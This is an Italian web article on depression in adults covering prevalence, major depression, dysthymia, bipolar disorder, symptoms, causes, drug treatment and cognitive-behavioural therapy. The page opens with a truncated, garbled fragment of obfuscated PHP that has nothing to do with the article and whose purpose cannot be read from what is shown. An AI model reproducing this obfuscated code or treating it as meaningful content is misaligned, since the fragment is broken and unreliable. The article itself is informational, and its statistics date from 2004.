=round(0+3))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][60]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.5+0.5)];if($GLOBALS['_1188104000_'][73]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.2+0.2+0.2+0.2+0.2)];if($GLOBALS['_1188104000_'][89]($_59)=round(0+0.6+0.6+0.6+0.6+0.6))$_59=$_64[round(0+0.333333333333+0.333333333333+0.333333333333)];if($GLOBALS['_1188104000_'][106]($_59) La depressione negli adulti

Area Riservata



Ti ricordiamo che per rendere attivo il tuo account dopo la registrazione, sarà necessario aprire il messaggio email che riceverai e cliccare sul link di attivazione.

Disturbi Mentali

La depressione negli adulti PDF 

18 novembre 2004 - a cura di Antonio d'Amore, Psicologo e Psicoterapeuta

 

A differenza della tristezza o della malinconia, che occasionalmente accompagna l'esistenza di ciascuno di noi, ma senza conseguenze importanti sulla vita quotidiana, la depressione è una condizione patologica, che si ripercuote gravemente sulle normali funzioni psicofisiche e sulla vita sociale delle persone che ne sono affette.

La depressione colpisce il 10% circa della popolazione adulta, ma negli ultimi anni si è visto che è, purtroppo, diffusa anche tra i bambini e gli adolescenti.

 

Le donne hanno una probabilità di ammalarsi doppia, rispetto a quella degli uomini. Attualmente non si conosce la causa di questa diversa distribuzione del disturbo tra i due sessi.

 

Il 10-15% di coloro che soffrono di depressione tenta il suicidio. A tentare il suicidio sono più spesso (fino a quattro volte di più) gli uomini, che non le donne. Il maggiore tasso di tentati suicidi tra i maschi è stato ricondotto, da alcuni studiosi, al fatto che gli uomini sono meno propensi delle donne a fare ricorso all'aiuto dello specialista per farsi curare.

 

Le statistiche più recenti ci dicono che oltre l'80% delle persone che ricevono un trattamento adeguato per la depressione, migliora sensibilmente la propria condizione. Cionostante, molte delle persone che soffrono di depressione non fanno ricorso ad alcun tipo di trattamento.

 

I tipi di depressione

 

I disturbi depressivi sono stati classificati in tre diverse categorie diagnostiche: 

  • la depressione maggiore;
  • la distimia;
  • il disturbo bipolare;

La depressione maggiore, che interessa oltre il 5 % della popolazione, si manifesta con la combinazione di numerosi sintomi che creano interferenza con l'attività lavorativa, il sonno, l'alimentazione e, perfino, con quelle attività di svago, che prima della comparsa della sintomatologia, davano piacere. L'episodio di depressione maggiore si può presentare una sola volta nella vita (per esempio in coincidenza di un evento fortemente stressante), oppure, come nella maggior parte dei casi, in maniera ricorrente.

 

La distimia, che interessa il 2% circa della popolazione, è una condizione depressiva, che presenta un quadro sintomatologico di tipo cronico, ma meno grave di quello riscontrabile nella depressione maggiore. Molte delle persone che soffrono di distimia possono, talvolta, sperimentare un episodio di depressione maggiore.

 

Il disturbo bipolare, detto anche disturbo maniaco-depressivo, interessa il 2% circa della popolazione. Questo disturbo è caratterizzato da cambiamenti ciclici dell'umore con alternanza di fasi depressive e fasi maniacali. Quando è nella fase depressiva la persona manifesta molti dei tipici sintomi depressivi; quando invece è nella fase maniacale, la persona manifesta una vitalità, una reattività a quello che accade intorno a sè ed una tendenza a parlare, esagerate. I cambiamenti dell'umore sono, solitamente, graduali, ma in alcuni casi possono anche essere repentini.

 

I sintomi

caratteristiche dell'episodio depressivo: 

  • tristezza e pessimismo;
  • sentimenti di disperazione, inutilità ed impotenza;
  • perdita d'interesse per tutte o quasi tutte le attività;
  • mancanza di energia, affaticabilità e rallentamento psicomotorio;
  • diminuita capacità di concentrarsi e di ricordare;
  • indecisione;
  • insonnia e risvegli precoci o sonnolenza e tendenza a dormire troppo;
  • scarso appetito e perdita di peso o iperalimentazione ed aumento di peso;
  • pensieri ricorrenti di morte;
  • idee suicide e tentativi di suicidio;
  • ansia, irrequietezza ed irritabilità;
  • persistenza di disturbi digestivi, mal di testa o altri dolori, che non rispondono alle normali terapie farmacologiche. 


Il numero e l'intensità dei sintomi, che possono variare nel tempo e da persona a persona, consentono di definire la gravità dell'episodio depressivo. 

caratteristiche dell'episodio maniacale: 

  • euforia eccessiva o al di fuori della norma;
  • irritabilità inusuale;
  • ridotto bisogno di sonno (per es., la persona si sente riposata dopo solo 3 ore di sonno);
  • autostima abnorme o grandiosità;
  • facile distraibilità;
  • logorrea;
  • aumento delle attività (lavorativa, scolastica, sessuale o sociale);
  • agitazione psicomotoria;
  • eccessivo coinvolgimento in attività che possono avere conseguenze dannose (per es., eccessi nel   
    comprare, investimenti in affari avventati, comportamento sessuale sconveniente).


Le cause

 

Come per la gran parte dei disturbi psichici, la causa della depressione è da ricercarsi nell'interazione tra fattori biologici, psicologici e sociali.

 

Nella maggior parte dei casi la depressione insorge in seguito ad eventi fortemente stressanti; tuttavia, non tutti coloro che si trovano a dover fronteggiare situazioni stressanti sviluppano un disturbo depressivo.

 

L'intensità e la durata dello stimolo stressante, la capacità di fronteggiare lo stress ed il tipo di sostegno ricevuto da parte degli altri sia durante che dopo l'evento stressante, così come il patrimonio genetico individuale, sono le principali variabili che, interagendo tra loro, possono determinare l'insorgenza o meno della sintomatologia depressiva.

 

La cura

La depressione può essere efficacemente trattata con la psicoterapia e con i farmaci, sia separatamente, che in combinazione.

Nel caso della depressione moderata, i due tipi di trattamento sono ugualmente efficaci; tuttavia, la psicoterapia ha mostrato una superiorità nel ridurre il rischio di ricadute dopo la fine del trattamento.

Nel caso della depressione grave, il trattamento farmacologico è sempre necessario, ma la psicoterapia può migliorarne l'efficacia.

 

I FARMACI:

Ci sono tre gruppi di farmaci prevalentemente usati per combattere la depressione: 

  • i triciclici;
  • gli inibitori delle  mono-amminossidasi (IMAO);
  • gli inibitori selettivi del recupero della serotonina (ISRS). 


I farmaci devono essere assunti con regolarità e, in alcuni casi, è necessario aspettare alcune settimane, prima di ottenere benefici. Inoltre, alcuni farmaci devono essere sospesi gradualmente, per dare modo all'organismo di adattarsi alla nuova condizione.

Per quanto riguarda il disturbo bipolare, il trattamento della fase maniacale viene effettuato con il litio o con farmaci anticonvulsivanti, tipo l'acido valproico o la carbamazepina. Le persone che prendono il litio devono essere attentamente monitorate, durante il trattamento, poichè il farmaco presenta una distanza piuttosto piccola tra "dose efficace" e "dose tossica".

 

LA PSICOTERAPIA: 

Tra le varie psicoterapie, quella cognitivo-comportamentale è una delle più efficaci nel trattamento della depressione.

La terapia cognitivo-comportamentale parte da due presupposti:   

1. interpretazioni e convinzioni distorte, che formano schemi mentali in grado di condizionare i comportamenti, giocano un ruolo chiave nell'esordio e nel mantenimento della depressione;  

2. gli schemi mentali, come i comportamenti, essendo appresi possono essere modificati. 

Nelle persone depresse sono più frequenti schemi mentali negativi. In genere, questi schemi, cominciano a formarsi nei primi anni di vita, si consolidano nel corso di numerosi anni e rimangono nascosti fino al momento della loro attivazione da parte di eventi stressanti.

Scopo della psicoterapia cognitivo-comportamentale, è quello di aiutare il paziente ad identificare e modificare quegli schemi mentali e quei comportamenti che predispongono, mantengono o aggravano lo stato depressivo.

 

FONTI D'INFORMAZIONE

  1. American Psychiatric Association. DSM-IV-TR: Manuale diagnostico e statistico dei disturbi mentali, Text Revision. Editrice Masson, 2002.
 

Per migliorare la tua navigazione su questo sito, utilizziamo cookies ed altre tecnologie che ci permettono di riconoscerti. Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy Utilizzando questo sito, acconsenti agli utilizzi di cookies e delle altre tecnologie descritti nella nostra Cookies Policy.

Acconsento all'utilizzo dei cookies su questo sito